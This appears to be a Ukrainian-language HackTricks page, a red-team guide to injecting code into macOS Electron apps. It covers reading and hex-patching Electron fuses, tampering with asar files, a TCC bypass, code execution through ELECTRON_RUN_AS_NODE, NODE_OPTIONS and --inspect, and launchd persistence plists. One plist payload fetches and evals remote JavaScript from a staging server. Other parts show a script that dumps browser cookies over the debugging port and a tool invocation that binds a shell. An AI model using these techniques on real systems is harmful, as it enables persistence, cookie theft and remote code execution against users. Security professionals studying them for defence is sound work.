macOS Electron Applications Injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

Якщо ви не знаєте, що таке Electron, ви можете знайти багато інформації тут. Але наразі просто знайте, що Electron запускає node. І node має деякі параметри та змінні середовища, які можна використовувати для виконання іншого коду, крім вказаного файлу.

Електронні плавники

Ці техніки будуть обговорені далі, але останнім часом Electron додав кілька прапорців безпеки для їх запобігання. Це Електронні плавники, які використовуються для запобігання додаткам Electron в macOS від завантаження довільного коду:

  • RunAsNode: Якщо вимкнено, це запобігає використанню змінної середовища ELECTRON_RUN_AS_NODE для впровадження коду.

  • EnableNodeCliInspectArguments: Якщо вимкнено, параметри, такі як --inspect, --inspect-brk, не будуть враховуватися. Цим способом уникнуто впровадження коду.

  • EnableEmbeddedAsarIntegrityValidation: Якщо ввімкнено, завантажений asar файл буде перевірений macOS. Таким чином, запобігається впровадженню коду шляхом зміни вмісту цього файлу.

  • OnlyLoadAppFromAsar: Якщо це ввімкнено, замість пошуку для завантаження в такому порядку: app.asar, app і, нарешті, default_app.asar. Він буде перевіряти та використовувати лише app.asar, тим самим забезпечуючи, що при комбінуванні з плавником embeddedAsarIntegrityValidation неможливо завантажити неперевірений код.

  • LoadBrowserProcessSpecificV8Snapshot: Якщо ввімкнено, процес браузера використовує файл з назвою browser_v8_context_snapshot.bin для свого знімка V8.

Ще один цікавий плавник, який не буде запобігати впровадженню коду:

  • EnableCookieEncryption: Якщо ввімкнено, сховище файлів cookie на диску шифрується за допомогою ключів криптографії рівня ОС.

Перевірка Електронних плавників

Ви можете перевірити ці прапорці з додатка за допомогою:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Зміна Електронних Плавок

Як зазначено в документації, конфігурація Електронних Плавок налаштовується всередині Електронного бінарного файлу, який містить десь рядок dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX.

У додатках для macOS це зазвичай знаходиться в application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

Ви можете завантажити цей файл на https://hexed.it/ та знайти попередній рядок. Після цього рядка в ASCII ви побачите число "0" або "1", що вказує, чи вимкнені або увімкнені кожен плавник. Просто змініть шістнадцятковий код (0x30 - це 0, а 0x31 - це 1) для зміни значень плавників.

Зверніть увагу, що якщо ви спробуєте перезаписати бінарний файл Electron Framework всередині програми зі зміненими байтами, програма не запуститься.

RCE додавання коду до додатків Electron

Можуть бути зовнішні файли JS/HTML, які використовує додаток Electron, тому зловмисник може впровадити код у ці файли, підпис яких не буде перевірений, та виконати довільний код в контексті додатка.

Однак наразі є 2 обмеження:

  • Для модифікації додатка потрібно дозвіл kTCCServiceSystemPolicyAppBundles, тому за замовчуванням це більше не можливо.

  • Скомпільований файл asap зазвичай має плавники embeddedAsarIntegrityValidation та onlyLoadAppFromAsar, які увімкнені

Це ускладнює (або робить неможливим) цей шлях атаки.

Зверніть увагу, що можливо обійти вимогу kTCCServiceSystemPolicyAppBundles, скопіювавши додаток в інший каталог (наприклад, /tmp), перейменувавши папку app.app/Contents на app.app/NotCon, змінивши файл asar на свій зловмисний код, знову перейменувавши його на app.app/Contents та виконавши його.

Ви можете розпакувати код з файлу asar за допомогою:

npx asar extract app.asar app-decomp

І упакуйте його назад після внесення змін за допомогою:

npx asar pack app-decomp app-new.asar

Виконання коду з ELECTRON_RUN_AS_NODE

Згідно з документацією, якщо ця змінна середовища встановлена, вона запустить процес як звичайний процес Node.js.

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Якщо функція RunAsNode вимкнена, змінна середовища ELECTRON_RUN_AS_NODE буде ігноруватися, і це не спрацює.

Впровадження з файлу Plist додатка

Як запропоновано тут, ви можете зловживати цією змінною середовища в файлі plist для збереження постійності:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Виконання коду з використанням NODE_OPTIONS

Ви можете зберегти вразливість у різному файлі та виконати її:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

Якщо плавка EnableNodeOptionsEnvironmentVariable вимкнена, додаток ігноруватиме змінну середовища NODE_OPTIONS при запуску, якщо змінна середовища ELECTRON_RUN_AS_NODE не встановлена, що також ігноруватиметься, якщо плавка RunAsNode вимкнена.

Якщо ви не встановите ELECTRON_RUN_AS_NODE, ви отримаєте помилку: Більшість NODE_OPTIONs не підтримуються в упакованих додатках. Дивіться документацію для отримання додаткової інформації.

Впровадження з Plist додатка

Ви можете зловживати цією змінною середовища в plist, щоб зберегти постійність, додавши ці ключі:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

RCE з інспектуванням

Згідно з цим, якщо ви запускаєте додаток Electron з прапорцями, такими як --inspect, --inspect-brk та --remote-debugging-port, буде відкритий порт для налагодження, до якого ви зможете підключитися (наприклад, з Chrome за допомогою chrome://inspect) і ви зможете впроваджувати код в нього або навіть запускати нові процеси. Наприклад:

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Якщо вимикач EnableNodeCliInspectArguments вимкнено, додаток ігноруватиме параметри вузла (такі як --inspect) при запуску, якщо змінна середовища ELECTRON_RUN_AS_NODE не встановлена, що також буде ігноруватися, якщо вимикач RunAsNode вимкнено.

Однак ви все ще можете використовувати параметр electron --remote-debugging-port=9229, але попередній вантаж не буде працювати для виконання інших процесів.

Використовуючи параметр --remote-debugging-port=9222, можна викрасти деяку інформацію з додатка Electron, таку як історію (з командами GET) або кукі браузера (оскільки вони розшифровуються всередині браузера, існує json-кінцева точка, яка їх надасть).

Ви можете дізнатися, як це зробити тут і тут та використовувати автоматичний інструмент WhiteChocolateMacademiaNut або простий скрипт, подібний до:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

У цьому блозі, це використовується для того, щоб зробити headless chrome завантажувати довільні файли в довільні місця.

Впровадження з файлу Plist додатка

Ви можете використовувати цю змінну середовища в файлі plist для збереження постійності, додаючи ці ключі:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

Обхід TCC, використовуючи старі версії

Демон TCC з macOS не перевіряє виконану версію додатка. Тому, якщо ви не можете впровадити код в електронний додаток за допомогою будь-яких попередніх технік, ви можете завантажити попередню версію ДОДАТКА та впровадити код в нього, оскільки він все ще отримає привілеї TCC (якщо кеш довіри цьому не заважає).

Запуск некоду JS

Попередні техніки дозволять вам виконувати JS-код у процесі електронного додатка. Однак пам'ятайте, що дочірні процеси працюють під тим самим профілем пісочниці, що і батьківський додаток, та успадковують їх дозволи TCC. Отже, якщо ви хочете зловживати дозволами для доступу до камери або мікрофону, наприклад, ви можете просто запустити інший бінарний файл з процесу.

Автоматичне впровадження

Інструмент electroniz3r може бути легко використаний для пошуку вразливих електронних додатків, встановлених на комп'ютері, та впровадження коду в них. Цей інструмент спробує використати техніку --inspect:

Вам потрібно скомпілювати його самостійно та можете використовувати його таким чином:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
    Bundle identifier                             Path                                               
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated